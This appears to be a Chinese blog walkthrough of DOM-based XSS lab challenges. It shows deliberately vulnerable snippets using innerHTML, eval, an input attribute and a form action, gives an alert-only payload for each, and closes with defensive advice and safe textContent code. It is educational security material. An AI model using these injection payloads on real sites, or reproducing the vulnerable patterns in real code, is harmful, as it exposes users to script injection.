XSS-DOM-1

1 innerHTML

<body>
    <h2 id="spaghet"></h2>
</body>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
</html>

1.1 innerHTML在JS是双向功能:

1.1.1获取对象的内容

如:<div id="aa">这是内容</div>

我们可以通过 document.getElementById(‘aa’).innerHTML 来获取id为aa的对象的内嵌内容;

1.1.2或向对象插入内容

也可以对某对象插入内容,如 document.getElementById(‘abc’).innerHTML=’这是被插入的内容’;
这样就能向id为abc的对象插入内容。

1.2 代码分析

spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"

这个innerHTML就是通过spaghet这个标签id锁定到html中的标签,然后再按照后面的=来表明输出的值

1.2.1 直接访问

直接访问发现是按照js中的代码直接拼接的,get传参的可变参数默认为somebody,那我们对他进行赋值来看看

1.2.2 赋值分析

直接就变成了1进行拼接,那我们试着输入恶意代码试一下(注意:innerHTML限制了<script>标签)

1.2.3 payload

test1.html?somebody=<img src=1 onerror=alert(1337)>

2

2.1 代码分析

首先jeff如果没传参默认为JEFFF,eval代码执行,先让ma接收上面的传参然后一秒钟过后将执行的ma赋值给h2,所以显示内容为 Ma name JEFFF

<body>
  <h2 id="maname"></h2>
</body>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

 

 2.2 payload

eval在js中也是命令执行,我们先闭合前面的双引号,但是我后面也有一个双引号,我可以直接注释掉

1 ?jeff=aaa";alert(1)//

2 ?jeff=111";alert(1);"

 2.2.1 代码调试

传参是这个,然后当我们再下一步的时候,发现直接弹1了,并没有执行下一步的延迟一秒

  1. eval 执行代码eval 会把字符串当 JS 代码执行,其中 ;alert(1)// 部分:
    • ; 分割语句,让 alert(1) 独立执行;
    • // 注释掉后面的多余引号(避免语法错误),最终触发 alert(1) 弹窗。

3 input标签

</head>
<body>
 <div id="uganda"></div>
</body>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
</html>

3.1 代码分析

3.2 payload

test1.html?wey=a" autofocus onfocus="alert(1)

4 form表单

form表单通常我们需要注意他的这三个参数,action=“”这个是表示我应该接的后端的程序应该是那个php或者1后端的代码来接,enctype第一个是默认值,表示的是我输入的是文字,密码等,第二个"multipart/form-data是表示的文件上传

4.1 form属性

4.1.1 action

4.1.1.1 前端html

<body>

    <form action="test2.php" method="post">

        <input type="text" name="username" id="">

        <input type="submit" value="submit">

    </form>

</body>

4.1.1.2 后端test2.php

<?php

$username = $_POST['username'];

echo $username;

4.1.1.3 测试

先访问前端页面,因为get传参,看能不能传参到后端用来说明action属性的作用

提交后传到后端

4.1.1.4 当action=#

当为#的时候,会把页面提交到当前的页面不会进行跳转

4.2 漏洞源码

 <form id="ricardo" method="GET" >
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
</body>

<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>
</html>

4.2.1 javascript伪协议

 分析可知action可以接收javascript伪协议,执行其中的方法那么再回到4.2这个题本省就变的很简单了,直接给他赋值伪协议就行了

  <form action="javascript:alert(1)" method="post">
        <input type="text" name="username" id="">
        <input type="submit" value="submit">

4.3 payload

相当于我直接给action传参

test1.html?ricardo=javascript:alert(1)

### DOM-Based XSS 攻击的原理 DOM-Based XSS 是一种特殊的跨站脚本攻击(XSS),其核心原理在于攻击者通过操纵文档对象模型(DOM)来注入恶意脚本。与传统的反射型或存储型 XSS 不同,DOM-Based XSS 的攻击过程完全发生在客户端,服务器端不会直接参与恶意脚本的注入或执行。攻击者通常通过构造恶意 URL,利用客户端 JavaScript 从 URL 中提取参数并动态修改页面内容的方式,将恶意代码注入到页面中。例如,当 JavaScript 从 URL 中获取参数并将其插入到页面中的某个 DOM 节点时,如果没有对输入进行适当的过滤或转义,攻击者就可以注入恶意脚本,从而在用户的浏览器中执行[^1]。 ### DOM-Based XSS 攻击的实现方式 DOM-Based XSS 的实现依赖于客户端脚本对 DOM 的操作。例如,JavaScript 可能会通过 `document.write()`、`innerHTML`、`eval()` 等方法将用户输入的数据直接插入到页面中。攻击者可以构造包含恶意代码的 URL,当用户访问该 URL 时,恶意代码会被执行。这种攻击通常不需要服务器端的响应,而是完全依赖于客户端脚本的处理逻辑。例如,攻击者可能构造一个 URL,如 `http://example.com/page?param=<script>alert('XSS')</script>`,如果页面中的 JavaScript 直接将 `param` 参数的值插入到 DOM 中,而没有进行任何安全处理,则会触发 XSS 攻击[^2]。 ### DOM-Based XSS 的防范措施 为了防范 DOM-Based XSS 攻击,开发人员需要采取一系列的安全措施。首先,避免直接将用户输入的数据插入到 DOM 中,尤其是在使用 `innerHTML`、`document.write()` 等方法时。如果必须使用这些方法,应对输入数据进行严格的过滤和转义处理。其次,可以使用内容安全策略(Content Security Policy, CSP),通过限制页面中可以执行的脚本来源,来防止恶意脚本的执行。此外,开发人员应尽量避免使用 `eval()`、`setTimeout()` 等可能执行动态代码的函数,或者在使用这些函数时确保输入数据是可信的。最后,对用户输入进行严格的验证和清理,确保输入数据不会包含任何潜在的恶意代码[^3]。 ### 示例代码 以下是一个简单的示例,展示如何通过 JavaScript 安全地处理用户输入,以防止 DOM-Based XSS 攻击: ```javascript // 获取 URL 参数 function getParameterByName(name, url) { if (!url) url = window.location.href; name = name.replace(/[\[\]]/g, '\\$&'); var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)'), results = regex.exec(url); if (!results) return null; if (!results[2]) return ''; return decodeURIComponent(results[2].replace(/\+/g, ' ')); } // 安全地插入文本到 DOM 节点 function safeInsertText(elementId, text) { var element = document.getElementById(elementId); if (element) { // 使用 textContent 而不是 innerHTML 来避免 XSS element.textContent = text; } } // 获取 URL 中的参数并安全地插入到页面中 var userInput = getParameterByName('param'); safeInsertText('output', userInput); ``` 在这个示例中,`safeInsertText` 函数使用 `textContent` 属性而不是 `innerHTML`,这样可以确保输入数据不会被解析为 HTML,从而避免了潜在的 XSS 攻击。 ### 相关问题 1. DOM-Based XSS 与其他类型的 XSS 有何区别? 2. 如何在实际开发中检测和修复 DOM-Based XSS 漏洞? 3. 内容安全策略(CSP)是如何帮助防范 DOM-Based XSS 攻击的? 4. 有哪些工具可以帮助开发者测试和发现 DOM-Based XSS 漏洞? 5. 在现代 Web 开发中,有哪些最佳实践可以用来防止 DOM-Based XSS
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

fatsheep洋

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值